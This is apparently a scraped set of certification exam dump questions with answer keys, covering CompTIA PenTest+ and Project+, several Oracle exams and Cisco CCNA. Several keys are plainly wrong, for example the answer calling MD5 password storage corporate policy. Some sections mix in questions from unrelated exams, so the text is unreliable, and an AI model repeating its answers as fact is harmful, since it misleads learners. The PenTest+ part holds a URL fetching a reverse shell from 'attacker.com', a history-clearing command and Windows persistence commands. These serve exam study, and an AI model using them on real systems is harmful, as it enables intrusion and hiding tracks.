A software developer wants to test the code of an application for vulnerabilities. Which of the following processes should
the software developer perform?
A. Vulnerability scan
B. Dynamic scan
C. Static scan
D. Compliance scan
Correct Answer: A

QUESTION 2
Which of the following is an example of a spear phishing attack?
A. Targeting an executive with an SMS attack
B. Targeting a specific team with an email attack
C. Targeting random users with a USB key drop
D. Targeting an organization with a watering hole attack
Correct Answer: A
Reference: https://www.comparitech.com/blog/information-security/spear-phishing/

QUESTION 3
A penetration tester has successfully exploited an application vulnerability and wants to remove the command history
from the Linux session. Which of the following will accomplish this successfully?
A. history –remove
B. cat history I clear
C. rm -f ./history
D. history -c
Correct Answer: D

QUESTION 4
A penetration tester locates a few unquoted service paths during an engagement. Which of the following can the tester
attempt to do with these?
A. Attempt to crack the service account passwords.
B. Attempt DLL hijacking attacks.
C. Attempt to locate weak file and folder permissions.
D. Attempt privilege escalation attacks.
Correct Answer: D

QUESTION 5
A company planned for and secured the budget to hire a consultant to perform a web application penetration test. Upon
discovered vulnerabilities, the company asked the consultant to perform the following tasks:
Code review Updates to firewall setting
A. Scope creep
B. Post-mortem review
C. Risk acceptance
D. Threat prevention
Correct Answer: D

QUESTION 6
Given the following Python script:
#1/usr/bin/python
import socket as skt
for port in range (1,1024):
try:
sox=skt.socket(skt.AF.INET,skt.SOCK_STREAM)
sox.settimeout(1000)
sox.connect ((`127.0.0.1\\’, port))
print `%d:OPEN\\’ % (port)
sox.close
except: continue
Which of the following is where the output will go?
A. To the screen
B. To a network server
C. To a file
D. To /dev/null
Correct Answer: A

QUESTION 7
During testing, a critical vulnerability is discovered on a client\\’s core server. Which of the following should be the NEXT
action?
A. Disable the network port of the affected service.
B. Complete all findings, and then submit them to the client.
C. Promptly alert the client with details of the finding.
D. Take the target offline so it cannot be exploited by an attacker.
Correct Answer: A

QUESTION 8
During an internal network penetration test, a tester recovers the NTLM password hash tor a user known to have full
administrator privileges on a number of target systems Efforts to crack the hash and recover the plaintext password
have been unsuccessful Which of the following would be the BEST target for continued exploitation efforts?
A. Operating system Windows 7 Open ports: 23, 161
B. Operating system Windows Server 2016 Open ports: 53, 5900
C. Operating system Windows 8 1 Open ports 445, 3389
D. Operating system Windows 8 Open ports 514, 3389
Correct Answer: C

QUESTION 9
An email sent from the Chief Executive Officer (CEO) to the Chief Financial Officer (CFO) states a wire transfer is
needed to pay a new vendor. Neither is aware of the vendor, and the CEO denies ever sending the email. Which of the following types of motivation was used m this attack?
A. Principle of fear
B. Principle of authority
C. Principle of scarcity
D. Principle of likeness
E. Principle of social proof
Correct Answer: B

QUESTION 10
A penetration tester has compromised a Windows server and is attempting to achieve persistence. Which of the
following would achieve that goal?
A. schtasks.exe /create/tr “powershell.exe” Sv.ps1 /run
B. net session server | dsquery -user | net use c$
C. powershell andand set-executionpolicy unrestricted
D. reg save HKLM\System\CurrentControlSet\Services\Sv.reg
Correct Answer: D

QUESTION 11
While monitoring WAF logs, a security analyst discovers a successful attack against the following URL:
https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php
Which of the following remediation steps should be taken to prevent this type of attack?
A. Implement a blacklist.
B. Block URL redirections.
C. Double URL encode the parameters.
D. Stop external calls from the application.
Correct Answer: B

QUESTION 12
A penetration tester has performed a security assessment for a startup firm. The report lists a total of ten vulnerabilities,
with five identified as critical. The client does not have the resources to immediately remediate all vulnerabilities. Under such circumstances, which of the following would be the BEST suggestion for the client?
A. Apply easy compensating controls for critical vulnerabilities to minimize the risk, and then reprioritize remediation.
B. Identify the issues that can be remediated most quickly and address them first.
C. Implement the least impactful of the critical vulnerabilities\\’ remediations first, and then address other critical
vulnerabilities
D. Fix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long lime.
Correct Answer: D

QUESTION 13
Which of the following excerpts would come from a corporate policy?
A. Employee passwords must contain a minimum of eight characters, with one being alphanumeric.
B. The help desk can be reached at 800-passwd1 to perform password resets.
C. Employees must use strong passwords for accessing corporate assets.
D. The corporate systems must store passwords using the MD5 hashing algorithm.
Correct Answer: D

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The CompTIA Project+ examination is designed for business professionals who coordinate or manage small-to-medium-sized projects.

https://www.comptia.org/certifications/project

Updated CompTIA PK0-004 Questions & Answers (2020)

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QUESTION 1
A project team has determined it will need to source data from a system that was not part of the project scope.
The role of the project manager is to analyze which of the following impacts?
A. Technical design, schedule, and budget
B. Business process impacts and resourcing
C. New software and hardware requirements
D. Schedule, budget, and quality
Correct Answer: C

QUESTION 2
Which of the following is a characteristics of a matrix organization?
A. Authority lies solely with the project manager.
B. Authority is directed by the project architect.
C. Authority is shared between the project manager and project coordinator.
D. Authority is shared between functional and project managers.
Correct Answer: D
References: Kim Heldman, CompTIA Project+ Study Guide, 2nd Edition, Sybex, Indianapolis, 2017, p. 56

QUESTION 3
The executive sponsor asks a project manager to summarize the following for a project:
1.
Final capital expenditures.
2.
Anticipated cost of new employee resources to support the solution.
3.
Maintenance estimates.
Which of the following information should the project manager provide?
A. Cost baseline
B. Burn rate
C. Cost variance report
D. Total project cost
Correct Answer: A

QUESTION 4
Which of the following is a reason for assessing risk in a project?
A. To identify new tasks
B. To shorten the project timeline
C. To avoid rework
D. To establish a budget
Correct Answer: C 

QUESTION 5
A project in the execution phase is over budget, and tasks on the critical path are on schedule. Which of the following
should the project manager do NEXT?
A. Update the project management plan.
B. Issue a change request.
C. Revise the project charter.
D. Evaluate the impact to the baseline.
Correct Answer: D

QUESTION 6
A project has a of $850,000. The project manager has identified and documented that certain key applications were not
included in the scope management plan. As reported, the CPI is 0.8, and the PMO allows only a 5% additional
increment to the planned budget. Which of the following should the project manager do NEXT?
A. Add the required work to complete the project behind $892,500.
B. Evaluate the impact and justify adding new work to the project.
C. Obtain approval from the CCB.
D. Request a budget increase of $170,000.
Correct Answer: C

QUESTION 7
Two team members completely disagree on how to complete a specific task. The project manager observes the conflict
but takes no immediate action. Which of the following techniques is the project manager using?
A. Compromising
B. Smoothing
C. Withdrawing
D. Accepting
Correct Answer: C
References: Kim Heldman, CompTIA Project+ Study Guide, 2nd Edition, Sybex, Indianapolis, 2017, p. 200

QUESTION 8
An agreement document that is intended to prevent two or more organizations from sharing specific, confidential
information with anyone but each other is called:
A. an RFP.
B. an NDA.
C. an SLA.
D. an MOU.
Correct Answer: B
References: Kim Heldman, CompTIA Project+ Study Guide, 2nd Edition, Sybex, Indianapolis, 2017, p. 302

QUESTION 9
Which of the following is a team-building stage that involves the team learning to trust one another\\’s abilities and begin
working together as a productive group?
A. Norming
B. Forming
C. Storming
D. Performing
Correct Answer: A
Norming is where things begin to calm down. Team members know each other fairly well by now. They\\’re comfortable
with their positions in the team, and they begin to deal with project problems instead of people problems. “Decisions are
made jointly at this stage, and team members “exhibit mutual respect and familiarity with one another.

QUESTION 10
A team member learns that an assigned task is not due until the very end of the project. Moreover, the team member is
not aware of any predecessor tasks dependent on completing the assigned task. Which of the following does the project
manager use to decide if the team member can start the task later or earlier?
A. Review the PERT chart and evaluate if the task is a critical dependency.
B. Review the PERT chart and evaluate if the task is a discretionary dependency.
C. Review the PERT chart and evaluate if the task is a real dependency.
D. Review the PERT chart and evaluate if the task is an external dependency.
Correct Answer: B
References http://www.pmgloss.com/comptia/

QUESTION 11
A department manager asks a project manager about the status of a project that has only a few employees from the
department assigned to it. Which of the following were MOST likely missed during project planning?
A. Issue log and process diagram
B. Resource analysis and Gantt chart
C. Stakeholder analysis and communication plan
D. Scatter chart and scope analysis
Correct Answer: B

QUESTION 12
A critical stakeholder has requested additional status updated beyond the schedule.
Which of the following factors MOST likely needs to be accounted for when communicating with this stakeholder?
A. Confidentiality
B. Criticality
C. Frequency
D. Cultural differences
Correct Answer: C
References: Kim Heldman, CompTIA Project+ Study Guide, 2nd Edition, Sybex, Indianapolis, 2017, p. 265

QUESTION 13
The key stakeholders have reported the project pace as being slow. The project sponsor would like to cancel the project
if it cannot be completed before the end of the year. The project is scheduled to be completed three months after the
requested date.
To alter the pace of the project, which of the following should the project manager do FIRST?
A. Give approval for the change requested by the project sponsor.
B. Deny the request from the project sponsor.
C. Document the change request from the project sponsor.
D. Ask the project sponsor to change the request.
Correct Answer: C

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Exam candidates who score a passing grade on the Oracle E-Business Suite 12.1 General Ledger Essentials (1Z0-516) exam will be recognized as Oracle E-Business Suite 12 Financial Management Certified Implementation Specialists: Oracle General Ledger. This certification qualifies as competency criteria for the Oracle E-Business Suite Financial Management Specialization.

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QUESTION 1
Jane is the financial controller of ABC Corporation. ABC Corporation has three legal entities: ABC East, ABC West, and
ABC South. She was advised by the Oracle General Ledger consultant that there is no need for any balancing segment
values to be assigned to the legal entities or ledgers. She is worried as to which values will be available for transactions
and journal entries. Identify the right option in the given scenario.
A. All balancing segment values will be available to enter transactions and journal entries.
B. No balancing segment values will be available to enter transactions and journal entries.
C. ABC East and ABC West balancing segment values will be available to enter transactions and journal entries.
D. ABC East and ABC South balancing segment values will be available to enter transactions and journal entries.
E. ABC South and ABC West balancing segment values will be available to enter transactions and journal entries.
Correct Answer: A

QUESTION 2
A debit memo reversal must be utilized to reverse the receipt if_____ .
A. Receipt is a non-invoice-related receipt
B. Receipt has an open claim associated with it
C. Receipt has been reconciled in Cash Management
D. Receipt has a remitted credit card refund application
Correct Answer: D

QUESTION 3
Identify three types of activities that are captured in Administration logs. (Choose three.)
A. creation of configuration objects
B. modification of Commerce process objects
C. deployment of configuration product families
D. creation of data tables
E. migrations with the site as target
F. uploading of files in File Manager
Correct Answer: BCE

QUESTION 4
When designing an integration with an ERP system, you must communicate with a third party integration tool (such as a
middleware or a hub).
Which three methods can be used to communicate with a middleware in this scenario? (Choose three.)
A. Automated FTP
B. DataCube Reporting
C. urldata function call in a Commerce Advanced Modification BML function
D. Commerce Integration Cloud Service Integration on an Action
E. Formula Management
F. Send XML on a Transition Rule via Real Time Integration
G. Commerce Integration XSLs on an Action
Correct Answer: CDF

QUESTION 5
A global company uses Oracle E-Business Suite Release 12 for its operations in the U.S. and Canada. The company is
now adding Mexico to the Oracle E-Business Suite Release 12 Applications. As a system administrator, you need to
set
the MO: Operating Unit profile option for Mexico. Customer is not using Multi-Org Access Control. You set the MO:
Operating Unit profile option at the _____ level.
A. Site
B. User
C. Application
D. Responsibility
Correct Answer: D

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QUESTION 1
How can you inject a target web service into an EJB?
A. Define service as an injectable resource by using the declaration.
B. Use a HandlerChain.
C. Use a java.xml.ws.WebServiceRef annotation.
D. Use a java.xml.ws.WebServiceContext annotation.
Correct Answer: A

QUESTION 2
Given:

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You are creating an Alarm management system. When you create a new alarm, you want it to create an alert that is
triggered once at the specified time. Which method should you call on Line 9 to create the timer?
A. timerService.createCalendarTimer(alarmDate, config);
B. timerService.createSingleActionTimer(alarmDate, config);
C. timerService.createIntervalTimer(alarmDate, -l, config);
D. timerService.createTimer(alarmDate, -l, config);
Correct Answer: D
Reference: https://docs.oracle.com/javaee/6/api/javax/ejb/TimerService.html

QUESTION 3
You need to develop a chat application, which allows the display of emoticons and images together with text messages.
How should you configure a WebSocket endpoints to receive both text and binary messages?
A. Create two @onMessage methods in the same endpoint with appropriate parameter types.
B. Define the @onMessage methods in your endpoint with Object as parameter and check the actual type in your code.
C. You can achieve this only by creating separate WebSocket endpoints for each message type.
D. Create two @onMessage methods, each with appropriate decoder attribute in the same endpoint.
Correct Answer: D
Reference: https://abhirockzz.gitbooks.io/java-websocket-api-handbook/content/Receiving%20Messages.html

QUESTION 4
Reorder quantities for an item subinventory are calculated using Fixed Lot Multiple and Round Order Quantity. Assume
that the reorder quantity is 24 and you specify 10 for the fixed lot multiple and enable rounding the reorder quantity.
What will be the reorder quantity?
A. 30
B. 20
C. 24
D. 25
Correct Answer: A

QUESTION 5
What are the four steps for the move request process flow?
A. Create shipment
B. Create Movement Request
C. Confirm pick slips
D. Run the Movement Request Pick Slip Report
E. Physically move the material
F. Run pick slip allocation
Correct Answer: BCDE

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Oracle Cost Management Cloud 2018 Implementation Essentials 1Z0-1024 exam is one of the important exams of Oracle certifications.

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QUESTION 1
Which three predefined areas can you review on the Overview page of Cost Accounting? (Choose three.)
A. Purchase Variance Summary
B. Journal Entries
C. Item Costs
D. Cost Processing
E. Work Order Costs
F. Inventory Valuation
Correct Answer: CDF

QUESTION 2
Your client wants their expense items to be accrued at receipt.
Which two configurations support this requirement? (Choose two.)
A. Product Information Management > Search and select item > Specifications > Manufacturing > Verify that Inventory
Asset Value is set to “No”.
B. Manage Common Options for Payables and Procurement > Select the business unit > Expense Accruals > Set
Accrue Expense Items to At Receipt.
C. Product Information Management > Search and select the expense item > Specifications > Manufacturing > Verify
that Inventory Asset Value is set to “Yes”.
D. Manage Common Options for Payables and Procurement > Select the business unit > Expense Accruals > Set
Accrue Expense Items to Period End.
E. Configure Procurement Business Function > Select the business unit > Set Select Receipt Close Point to Accrue at
Period End.
F. Configure Procurement Business Function > Select the business unit > Set Select Receipt Close Point to Accrue at
At Receipt.
Correct Answer: EF

QUESTION 3
Identify two reference types used to tie a receipt trade operation to an expense invoice for landing. (Choose two.)
A. Shipment number
B. Bill of Landing
C. Internal requisition number
D. Expense invoice number
E. Receipt number
Correct Answer: AC

QUESTION 4
A manager has decided to close the period by not allowing any new transactions, except for corrections and
adjustments, which can happen any time before the period is closed permanently.
Which cost period status will allow the system to perform the transaction?
A. Never Opened
B. Open
C. Closed
D. Permanently
E. Close Pending
Correct Answer: C

QUESTION 5
After “Cost Accounting Processor” has processed the physical inventory classification of transactions, which transaction
types will it process next?
A. In-transit
B. Cost of Goods Sold
C. Adjustments
D. Retro-reprice
E. Overhead
Correct Answer: E

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QUESTION 1
Which Layer 2 protocol encapsulation type supports synchronous and asynchronous circuits and has built-in security
mechanisms?
A. HDLC
B. PPP
C. X.25
D. Frame Relay
Correct Answer: B
PPP: Provides router-to-router and host-to-network connections over synchronous and asynchronous circuits. PPP was
designed to work with several network layer protocols, including IP. PPP also has built-in security mechanisms, such as
Password Authentication Protocol (PAP) and Challenge Handshake Authentication Protocol (CHAP).

QUESTION 2
An administrator has connected devices to a switch and, for security reasons, wants the dynamically learned MAC
addresses from the address table added to the running configuration. Which action must be taken to accomplish this?
A. Use theno switchport port-securitycommand to allow MAC addresses to be added to the configuration.
B. Enable port security and use the keywordsticky.
C. Set the switchport mode to trunk and save the running configuration.
D. Use theswitchport protectedcommand to have the MAC addresses added to the configuration.
Correct Answer: B

QUESTION 3
How can you manually configure a switch so that it is selected as the root Switch?
A. increase the priority number
B. lower the port priority number
C. lower the priority number
D. increase the port priority number
Correct Answer: C

QUESTION 4
Which two benefits of implementing a full-mesh WAN topology are true?(Choose two)
A. increased latency
B. redundancy
C. improved scalability
D. reliability
E. reduced itter
Correct Answer: BD

QUESTION 5
Which three commands are required to enable NTP authentication on a Cisco router? (Choose three)
A. ntp peer
B. ntp max-associations
C. ntp authenticate
D. ntp trusted-key
E. ntp authentication-key
F. ntp refclock
Correct Answer: CDE
Explanation: http://blog.ine.com/2007/12/28/how-does-ntp-authentication-work/

QUESTION 6
Which command can you enter to verify that a router is synced with a configures time source?
A. show ntp authenticate
B. ntp associations
C. ntp server time
D. ntp authenticate
E. show ntp associations
Correct Answer: E

QUESTION 7
When a router is unable to find a known route in the routing table, how does it handle the packet?
A. It discards the packet
B. It sends the packet over the route with the best metric
C. It sends the packet to the next hop address
D. It sends the packet to the gateway of last resort
Correct Answer: A

QUESTION 8
Which three values can be included in the routing table of a router? (Choose three)
A. classful and classless destination addresses
B. source interfaces
C. Routgoing interfaces
D. source IP addresses
E. next hop IP address
F. destination IP addresses
Correct Answer: CDF

QUESTION 9
Which subnet mask would be appropriate for a network address range to be subnetted for up to eight LANs, with each
LAN containing 5 to 26 hosts?
A. 0.0.0.240
B. 255.255.255.252
C. 255.255.255.0
D. 255.255.255.224
E. 255.255.255.240
Correct Answer: D
For a class C network, a mask of 255.255.255.224 will allow for up to 8 networks with 32 IP addresses each (30
usable).

QUESTION 10
Which statement about unicast frame forwarding on a switch is true?
A. The TCAM table stores destination MAC addresses
B. If the destination MAC address is unknown, the frame is flooded to every port that is configured in the same VLAN
except on the port that it was received on.
C. The CAM table is used to determine whether traffic is permitted or denied on a switch
D. The source address is used to determine the switch port to which a frame is forwarded
Correct Answer: B

QUESTION 11
Which RFC was created to alleviate the depletion of IPv4 public addresses?
A. RFC 4193
B. RFC 1519
C. RFC 1518
D. RFC 1918
Correct Answer: D

QUESTION 12
Which benefit of implementing a dual-homed WAN connection instead of a single homed connection is true?
A. Only dual-homed connections support recursive routing
B. Only dual-homed connections support split horizon with EIGRP
C. Only dual-homed connections enable an individual router to tolerate the loss of a network link
D. Only dual-homed connections support OSPF in conjunction with BGP
Correct Answer: C

QUESTION 13
Which three are the components of SNMP? (Choose three)
A. MIB
B. SNMP Manager
C. SysLog Server
D. SNMP Agent
E. Set
Correct Answer: ABD
SNMP is an application-layer protocol that provides a message format for communication between SNMP managers
and agents. SNMP provides a standardized framework and a common language used for the monitoring and
management
of devices in a network.
The SNMP framework has three parts:
+
An SNMP manager
+
An SNMP agent
+
A Management Information Base (MIB)
The SNMP manager is the system used to control and monitor the activities of network hosts using SNMP. The most
common managing system is called a Network Management System (NMS). The term NMS can be applied to either a
dedicated device used for network management, or the applications used on such a device. A variety of network
management applications are available for use with SNMP. These features range from simple command-line
applications to feature-rich graphical user interfaces (such as the CiscoWorks2000 line of products).
The SNMP agent is the software component within the managed device that maintains the data for the device and
reports these data, as needed, to managing systems. The agent and MIB reside on the routing device (router, access
server, or switch). To enable the SNMP agent on a Cisco routing device, you must define the relationship between the
manager and the agent.
The Management Information Base (MIB) is a virtual information storage area for network management information,
which consists of collections of managed objects.

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